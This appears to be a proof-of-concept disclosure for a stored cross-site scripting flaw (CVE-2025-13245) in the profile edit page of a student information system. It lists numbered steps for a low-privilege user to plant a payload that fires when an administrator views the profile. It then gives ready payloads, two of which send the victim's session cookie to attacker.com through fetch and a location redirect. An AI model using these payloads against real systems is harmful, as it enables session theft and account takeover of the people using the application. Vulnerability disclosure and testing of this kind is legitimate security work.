CVE-2025-13245 code-projects Student Information System 2.0 XSS漏洞

<!-- CVE-2025-13245 PoC - Stored XSS in Student Information System 2.0 --> <!-- Target: /editprofile.php --> <!-- Steps: --> <!-- 1. Login with a valid low-privilege account --> <!-- 2. Navigate to profile edit page --> <!-- 3. Inject XSS payload in one of the profile fields --> <!-- 4. Save the profile --> <!-- 5. When admin/user views the profile, XSS will be triggered --> <!-- Basic XSS PoC payload --> <script>alert(document.cookie)</script> <!-- Alternative payload using img tag --> <img src=x onerror="alert('XSS Triggered')"> <!-- Cookie stealing payload --> <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> <!-- HTML Injection variant --> <img src=x onerror=document.location='https://attacker.com/log?cookie='+document.cookie>